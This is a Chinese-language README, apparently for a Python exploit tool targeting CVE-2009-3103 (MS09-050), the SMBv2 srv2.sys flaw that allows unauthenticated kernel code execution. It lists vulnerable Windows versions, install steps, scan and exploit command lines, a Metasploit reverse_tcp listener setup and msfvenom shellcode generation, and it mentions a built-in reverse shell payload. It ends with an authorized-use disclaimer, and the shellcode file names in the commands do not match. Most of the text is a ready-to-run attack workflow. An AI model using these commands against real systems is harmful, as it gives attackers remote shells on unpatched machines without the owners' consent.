CVE-2009-3103
Windows Vista 和 Server 2008 引入了 SMBv2,并带来了一个新的内核驱动程序 srv2.sys。该驱动程序未能验证 SMB 协商请求中的 Process Id High 字段。通过在该字段中发送一个特制的值,攻击者可使 srv2.sys 使用受控的值索引函数指针表,从而解引用攻击者提供的地址。
其结果是内核上下文中的任意代码执行,且无需身份验证。攻击者只需能够访问 445 端口。
微软于 2009 年 10 月修复了此漏洞(KB975517)。任何未打补丁的 Vista SP1/SP2 或 Server 2008 SP1 系统均存在此漏洞。
| 目标操作系统 | 架构 |
|---|
| Windows Vista SP1 | x86 |
| Windows Vista SP2 | x86 / x64 |
| Windows Server 2008 SP1 | x86 / x64 |
| Windows Server 2008 SP1 (pre-R2) | x64 |
--msf-payload 选择自定义载荷-s)[+] 成功,[-] 错误,[!] 警告,[*] 信息git clone https://github.com/bytejmp/MS09-050.git
cd MS09-050
环境要求:
rpcclient(来自 smbclient 包),用于在注入后触发载荷msfvenom,仅在使用 --msfvenom 标志时需要在 Debian/Ubuntu 上:
sudo apt install smbclient
在 Arch Linux 上:
sudo pacman -S smbclient
python3 MS09.py scan -t 192.168.1.10
输出:
[*] Scanning 192.168.1.10:445...
[+] Target 192.168.1.10 is reachable
[+] SMBv2 supported
[*] OS: Windows Vista (TM) Ultimate 6001 Service Pack 1
[*] Architecture: x86
[+] Target appears VULNERABLE to MS09-050
使用 meterpreter/reverse_tcp stager。请先启动你的监听器:
msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 10.0.0.5; set LPORT 4444; run"
然后运行漏洞利用:
python3 MS09.py exploit -t 192.168.1.10 --payload -l 10.0.0.5 -p 4444
python3 MS09.py exploit -t 192.168.1.10 --msfvenom -l 10.0.0.5 -p 4444 -a x64
python3 MS09.py exploit -t 192.168.1.10 --msfvenom --msf-payload windows/meterpreter/reverse_tcp -l 10.0.0.5 -p 4444
生成一次原始 shellcode,无需 msfvenom 即可重复使用:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 EXITFUNC=thread -f raw -o shell.bin
然后将其提供给漏洞利用程序:
python3 MS09.py exploit -t 192.168.1.10 -s shellcode.bin -a x86
$ python3 MS09.py -h
usage: MS09.py [-h] {scan,exploit} ...
MS09-050 SMBv2 Remote Code Execution Exploit (CVE-2009-3103)
positional arguments:
{scan,exploit} Operation mode
scan Scan target for MS09-050 vulnerability
exploit Send exploit to target
$ python3 MS09.py exploit -h
usage: MS09.py exploit [-h] -t TARGET [-P PORT] [-a {x86,x64}]
(--payload | --msfvenom | -s FILE)
[-l LHOST] [-p LPORT] [--msf-payload PAYLOAD]
options:
-t, --target Target IP address
-P, --port SMB port (default: 445)
-a, --arch Target architecture (auto-detected if omitted)
--payload Use built-in reverse shell payload (no Metasploit needed)
--msfvenom Generate shellcode with msfvenom
--msf-payload msfvenom payload (default: shell_reverse_tcp x86, x64/shell_reverse_tcp x64)
-s, --shellcode Path to raw shellcode file
-l, --lhost Listener IP address
-p, --lport Listener port
MS09/
├── MS09.py # Main entry point
├── README.md
└── lib/
├── __init__.py
├── output.py # Standardized output formatting
├── scanner.py # SMBv2 vulnerability scanner
├── payloads.py # Built-in shellcode (reverse TCP shell)
└── exploit.py # Exploit buffer construction and delivery
Negotiate Protocol Request,以对目标操作系统版本和架构进行指纹识别srv2.sys 中的缓冲区溢出本工具仅供授权的渗透测试和教育目的使用。
未经授权访问计算机系统在大多数司法管辖区均属刑事犯罪。在对任何目标使用本工具之前,你必须获得系统所有者的明确书面许可。作者不承担任何责任,也不对因本软件造成的任何误用或损害负责。
使用本工具即表示你同意:
负责任地使用。合乎道德地入侵。